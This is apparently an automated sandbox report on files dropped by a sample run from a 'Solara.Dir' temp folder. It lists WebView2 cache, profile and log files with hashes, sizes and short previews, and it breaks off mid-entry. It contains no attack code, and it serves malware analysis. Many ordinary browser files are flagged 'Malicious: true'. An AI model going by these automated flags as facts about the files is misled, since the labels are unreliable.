Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"is_dsp_recommended":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"policy":{"last_statistics_update":"13364145027032428"},"profile":{"info_cache":{"Default":

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\6a659a40-e7dc-445c-8d77-48fd5fbe5aaf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	5.730747575616275
Encrypted:	false
SSDEEP:	24:YKWJu5rrtY1ZncmcDjDBBoaeCTWOxW/bvX3JQQRCYfYg:Yqf6Zncm4jDBBoZUxWTvneB0
MD5:	2EFF55AAF65912D80B67E548A8294A3F
SHA1:	3B9455071806F53BF6B6E0669AFBF53ED1BE3A89
SHA-256:	8614F80820D275D37462F7AC970CAC6720D9C7E56533C9145D31DE2AC6E53CEC
SHA-512:	8D3DABE5FD49A7ECD96DDE2B9CD535990CC967A13828DA3CCF3C752932804BBCC3178A3C1826CF347399708CD08A682FE10755B938160C7DD6B6AFEB1710BC1C
Malicious:	true
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"uninstall_metrics":{"installation_date2":"1719671426"},"user_experience_metrics":{"client_id2":"{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}C:\\Users\\user0s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","diagnostics":{"last_data_collection_level_on_launch":1},"low_entropy_source3":2938,"pseudo_low_entropy_source":6950,"reset_client_id_deterministic":true,"stability":{"browser_last_live_timestamp":"13364145026848556","stats_buildtime":"1695934310","stats_version":"117.0.2045.47-64","system_crash_count":0}}}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\BrowserMetrics\BrowserMetrics-66801A82-20F4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.2820852526221109
Encrypted:	false
SSDEEP:	768:FZYpMlgZWctrXT7f/gCjtuGKShbPrySxfRGO:FZfyZWctzfgCjtuGKyhxfRG
MD5:	C59689D179E295EBF25EC8C5E02759A5
SHA1:	E02398E73F283F2AAD5D6622CED87E3D78DFEBCF
SHA-256:	6EC522E37841E91B6CBA1863B5415D715D24B34E01CC4C1F7B51A9285B8EE701
SHA-512:	119207BCB18A8D1D26F07B32397ED51ED6F4EE77FA739E2F6C68B5C77B5EC4C5C8A3A828EDF5AA54072F34FB6F16004651000083456311195A00D4D857A44846
Malicious:	true
Preview:	...@............C.].....@...............`...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....j.........117.0.2045.47-64".en-GB...Windows NT..10.0.190452(..x86_64..?.......".apjbbn20,1...x86_64J....?.^o..P....................6.>..........W:00000000000000000000000000000000000000000000!00000000000000000000000000000000000000000000!cd57e4c171d6e8f5ea8b8f824a6a7316.exe.81900/01/01:00:00:00!cd57e4c171d6e8f5ea8b8f824a6a7316.exe".1.0.0.02...".*.:...............,..(.......EarlyProcessSingleton.......Default3.(..$.......msEdgeEDropUI.......triggered....8..4... ...msDelayLoadAuthenticationManager....triggered....<..8...#...msSleepingTabsShorterTimeoutDefault.....triggered....8..4... ...msEdgeMouseGestureDefaultEnabled....triggered....8..4.......msEdgeShowHomeButtonByDefault.......trig

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	1.8945371408454659
Encrypted:	false
SSDEEP:	3:FiWWltl/czQrx/ll/NEjYb1gmlx/ll:o1nb1fCmlZl
MD5:	FE32D5FE6A227DACA8AA73F14F9BA698
SHA1:	DD5085DFF3AC152CC640B58EC8E2B90B3E17A0FB
SHA-256:	555A352CB01E7EE71585B827D3B9E8044D8E8DAD4D5E0E5EE3C8E9183DBF8866
SHA-512:	DDA55CE35D290DF5CC8ED8CFCF73A8E5B8053735A67EB53ED4EDB2B5DB231A3A5BC8EF0DEF227E61FD70CBE13477D44D7820FF467826572CC1B17CDA9314300D
Malicious:	true
Preview:	sdPC........................O.....PY................................................................................................................................................................................................{F3017226-FE2A-4295-8BDF-00C3A9A7E4C.}C:........

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Crashpad\throttle_store.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.6219280948873624
Encrypted:	false
SSDEEP:	3:8g6Vvn:8g6Vv
MD5:	9E4E94633B73F4A7680240A0FFD6CD2C
SHA1:	E68E02453CE22736169A56FDB59043D33668368F
SHA-256:	41C91A9C93D76295746A149DCE7EBB3B9EE2CB551D84365FFF108E59A61CC304
SHA-512:	193011A756B2368956C71A9A3AE8BC9537D99F52218F124B2E64545EEB5227861D372639052B74D0DD956CB33CA72A9107E069F1EF332B9645044849D14AF337
Malicious:	false
Preview:	level=none expiry=0.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\21716d5d-9f6a-4f66-9f23-a739950b7f10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6780
Entropy (8bit):	5.581010184052061
Encrypted:	false
SSDEEP:	96:vLi5Plf/ROoBpkF5d17ik7VaTEv9V5h5pg5vezodIU8w7pSpsA5IOrMn3YPo0MG5:OBrz49l5SSpFIOAn3go0iu9
MD5:	E249DA3CBB133385A3201A06E7DF4806
SHA1:	832847D6A0270426E154EAB016AB957A819451AD
SHA-256:	DD99A72365A984DADB5F96F7F0278CC84D3680236312CA3F60DE214536D257B7
SHA-512:	C8AF063E240702F186AFF7D23F586AD842290E5A87C935E9A11CE52DC93B06FF8F52AC9E50539987888D2285311F6D07020C113F323BA663243CC69E7A61674A
Malicious:	true
Preview:	{"extensions":{"settings":{"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13364145027088244","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13364145027088244","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.officeapps.live.com.mcas.ms/","https://onenote.officeapps.live.com.mcas.ms/","https://word-edit.officeapps.live.com.mcas.ms/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:rSQyEc7CfKl:GwKCG
MD5:	50B9440F7783424372D2F8F6B766D470
SHA1:	ADC6FD5636A2A569B0CB694E46E580C47FC61120
SHA-256:	DDD676A5B52C6DB58BCD22ECF90A68B573F6E6978191C8583D30FD43C5312F48
SHA-512:	E29156F2E0858D2A0562EFCA339183F3BA6AA05ABAD3801CA15B00690D65CAD1176033643F0275DC35CD4341882430F24660AB5C8A9053E94F728CBAF715F9F3
Malicious:	true
Preview:	(....n.0oy retne...........................}.z/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:rSQyEc7CfKl:GwKCG
MD5:	50B9440F7783424372D2F8F6B766D470
SHA1:	ADC6FD5636A2A569B0CB694E46E580C47FC61120
SHA-256:	DDD676A5B52C6DB58BCD22ECF90A68B573F6E6978191C8583D30FD43C5312F48
SHA-512:	E29156F2E0858D2A0562EFCA339183F3BA6AA05ABAD3801CA15B00690D65CAD1176033643F0275DC35CD4341882430F24660AB5C8A9053E94F728CBAF715F9F3
Malicious:	true
Preview:	(....n.0oy retne...........................}.z/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:d0ue0X00EpT7G:2ppW
MD5:	DECE339E03E20E1D804A3F66931F1DC5
SHA1:	4A47F8BF75A731DB145623153939BB0EFBEEB341
SHA-256:	FE24CA717E09DB012B8C1FEEA3AAE2CB6015D7E52C5C7223E71A8B76E14942B9
SHA-512:	43FE6EC17B505C827E2A94FFCCB3589FB9EE8D6E818AC4AD6BA06E4317C09149723E3221552E54FC4CC1560C835ABCB0629BA941FA44F2DD3F08904E47ECE503
Malicious:	true
Preview:	(....Q..oy retne...........................}.z/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:d0ue0X00EpT7G:2ppW
MD5:	DECE339E03E20E1D804A3F66931F1DC5
SHA1:	4A47F8BF75A731DB145623153939BB0EFBEEB341
SHA-256:	FE24CA717E09DB012B8C1FEEA3AAE2CB6015D7E52C5C7223E71A8B76E14942B9
SHA-512:	43FE6EC17B505C827E2A94FFCCB3589FB9EE8D6E818AC4AD6BA06E4317C09149723E3221552E54FC4CC1560C835ABCB0629BA941FA44F2DD3F08904E47ECE503
Malicious:	true
Preview:	(....Q..oy retne...........................}.z/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	true
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNl6s:Ls36s
MD5:	E2BB65A79B9FE7779AEA57D8DB23B399
SHA1:	B55E1709068201F69823C3B26333E50EB5FD2C18
SHA-256:	182659346383F738F3C2B0A4B2F278BB2736F3E54C3EBB5158F9C0AF3D6A258C
SHA-512:	C6F32B0860997E90AD4D7944DAB08E48F9E3AC2AE5A178634F8997659504282605678288872E95334A295E630FF06A96AE4B5AB623ED604654218E51A45F69B6
Malicious:	true
Preview:	........................................}b&}.z/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlX:qTCT
MD5:	51A2CBB807F5085530DEC18E45CB8569
SHA1:	7AD88CD3DE5844C7FC269C4500228A630016AB5B
SHA-256:	1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
SHA-512:	B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
Malicious:	true
Preview:	.f.5................f.5...............

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.358376552741291
Encrypted:	false
SSDEEP:	6:2fsXpAB1CHhJ23f3csDHISQ+V5paVdg2KLlIfsXXtZ+q2PCHhJ23f3csDHISQ+VN:2kSEsDzV5HLukntZ+vBEsDzV5o3FUv
MD5:	7C05E05F0614BC1AAFA55B909A71727F
SHA1:	F76A6F3B78D13C2F8E0B24A542901D82C1603BA4
SHA-256:	6EA8EC0E404C9481001E1E871128ED8EC4EE77A68D8DE308EEDEA7A5EBF9BF16
SHA-512:	D64DC967653A76CA0DCA8460A32DB89D3F2C58A8C472EBD4DAA54786F7C84E5B58BFFFA35FEA8388C6CE7A5B4E61C3EE0C18A4A4DD9D9E1366BBAF9B966F6381
Malicious:	true
Preview:	2024/06/29-10:30:27.350 21bc Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules since it was missing..2024/06/29-10:30:28.130 21bc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlX:qTCT
MD5:	51A2CBB807F5085530DEC18E45CB8569
SHA1:	7AD88CD3DE5844C7FC269C4500228A630016AB5B
SHA-256:	1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
SHA-512:	B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
Malicious:	true
Preview:	.f.5................f.5...............

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.348263374053248
Encrypted:	false
SSDEEP:	6:2fsX4UmdAB1CHhJ23f3csDHISQ+V5p6FB2KLlIfsX8T+q2PCHhJ23f3csDHISQ+U:2kIUxEsDzV5QFFLukMT+vBEsDzV5QWF2
MD5:	9D0F9CB6B955FA3BCF9BF2A82E4C8AA3
SHA1:	842692B19485624FE567DA956B5E40CCA0C4BB7F
SHA-256:	FD592A6C5DD990C8B5308CA2BA6495408EB3534A91CF293240A0841E0CA4CF7A
SHA-512:	023DE9930144AEA0E85AB1799BCF0379A99D2C02E3046E070994AA0CDDA35DBB8BE8CF006192511F1956C74BD0AC97BC32BDEE5695551BD3B064013A5F72AF82
Malicious:	true
Preview:	2024/06/29-10:30:28.301 21bc Creating DB C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts since it was missing..2024/06/29-10:30:28.342 21bc Reusing MANIFEST C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
